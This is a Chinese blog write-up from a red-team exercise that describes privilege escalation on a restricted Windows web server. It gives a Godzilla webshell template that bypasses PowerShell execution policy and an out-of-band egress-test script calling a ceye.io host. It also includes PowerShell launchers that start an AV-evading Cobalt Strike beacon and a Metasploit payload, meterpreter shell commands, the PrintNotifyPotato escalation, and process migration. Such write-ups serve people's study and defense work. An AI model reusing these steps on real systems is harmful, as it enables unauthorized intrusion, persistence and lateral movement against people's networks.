文章总结: 本文描述了一次攻防演练中的极限提权过程,作者通过弱口令获取webshell后,发现cmd.exe被拦截但PowerShell可用,于是修改哥斯拉执行模板执行PowerShell脚本。通过多种尝试,最终利用MSF获取交互式PowerShell,配合PrintNotifyPotato-NET46.exe提权脚本成功提权,并通过进程迁移解决命令执行无回显问题,最终实现内网渗透。文章展示了在受限环境中绕过安全限制的实用技巧,包括利用PowerShell替代cmd、进程迁移等方法。
综合评分: 86
文章分类: 渗透测试,实战经验,内网渗透,WEB安全,红队
一次攻防演练中极限提权
原创
c0offee
生姜701
2025年12月11日 18:36
安徽
本公众号提供的信息仅限于法律允许的范围内,用户应遵守相关法律法规,不得将本公众号提供的信息用于非法目的。本公众号不对其提供的技术及信息的有效性、准确性、可靠性、完整性和及时性作任何形式的保证。本公众号及与公众号相关的所有作者不为此承担任何责任,造成一切后果请自行承担!如有侵权行为烦请告知,我们立即删除并予以诚挚的道歉!
弱口令后台文件上传获取webshell,发现权限超级低且卡的非常严谨,执行不了任何命令
采用哥斯拉自带模块提权,发现都起不了进程
内存加载也起不了进程
经过反复测试,发现调用cmd.exe会被拦截,无法执行命令和运行exe
青山佬说可以通过powershell执行命令。修改哥斯拉执行模板,可以执行ps1文件
powershell -ExecutionPolicy Bypass -File "{command}"
通过执行ps1文件,探测主机是否出网
<# run.ps1 用法:powershell -ExecutionPolicy Bypass -File oob3.ps1 #>
$domain = "xxxx.ceye.io"
$rand = -join ((48..57)+(65..90)+(97..122) | Get-Random -Count 6)
$baseHost = "$rand.$domain"
$uriHttp = "http://$baseHost/"
for ($i = 1; $i -le 3; $i++) {
$hostDns = "$i-$baseHost" # 1-abc123.f09tw4.ceye.io ...
Write-Host "[*] 第 $i 轮 DNS 查询 $hostDns" -ForegroundColor Cyan
try {
Resolve-DnsName -Name $hostDns -Type A -ErrorAction Stop | Select-Object -First 1
} catch {
Write-Host " DNS 失败: $_" -ForegroundColor Red
}
Write-Host "[*] 第 $i 轮 HTTP GET $uriHttp" -ForegroundColor Cyan
try {
$resp = Invoke-WebRequest -Uri $uriHttp -UseBasicParsing -TimeoutSec 5
Write-Host " 状态码: $($resp.StatusCode) 长度: $($resp.Content.Length)" -ForegroundColor Green
} catch {
Write-Host " HTTP 失败: $($_.Exception.Message)" -ForegroundColor Red
}
Start-Sleep -Seconds 1
}
Write-Host "[*] 3 轮 OOB 完成,去 ceye 控制台查看记录吧~" -ForegroundColor Magenta
成功执行且出网
利用powershell执行免杀exe上线CS
# run.ps1
$exe = "D:\Hosts\xxxxxx\web\assets\uploads\20240603\beacon.exe" # 路径
$arg = "-a 123 -b 456" # 参数
Start-Process -FilePath $exe -ArgumentList $arg -WindowStyle Hidden -Wait
发现任然执行不了cmd命令,调用cmd.exe还是被拦截,可以通过cs执行部分命令,猜测于当前用户权限有关。利用CS的各种提权脚本,都已失败。
换种思路,powershell可以执行命令,那么我们可以通过获取交互式powershell,利用powershell加载提权脚本进行提权。
可以通过上线msf,进行获取交互式powershell。通过CS和哥斯拉反弹msfshell失败,这两种都需要调用cmd。
另一种思路,通过ps1文件加载exe,进行msf上线。
kali启动
搭建好上线msf的vps环境,生成上线文件exe,启动监听
利用哥斯拉powershell执行模板执行ps1文件加载exe到内存
# run.ps1
$exe = "D:\Hosts\xxxxx\web\assets\uploads\20240603\msf.exe" # 换成你的路径
$arg = "-a 123 -b 456" # 可选参数
Start-Process -FilePath $exe -ArgumentList $arg -WindowStyle Hidden -Wait
成功上线
加载交互式powershell
load powershell
powershell_shell
成功获取交互式powershell
经过漫长的时间寻找提权文件,发现PrintNotifyPotato-NET46.exe可以加载成功,但是没有回显
利用提权脚本加载免杀CS,成功上线
就当成功之时,发现执行命令没有回显
添加用户,利用rdp远程登录,发现添加管理员组被拦截
登录不了
后面采用了hash登录,发现还是登录不了。
猜测当前进程有问题,采用CS进行进程迁移,成功回显
成功上线vshell,开始进行内网
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:生姜701 c0offee《一次攻防演练中极限提权》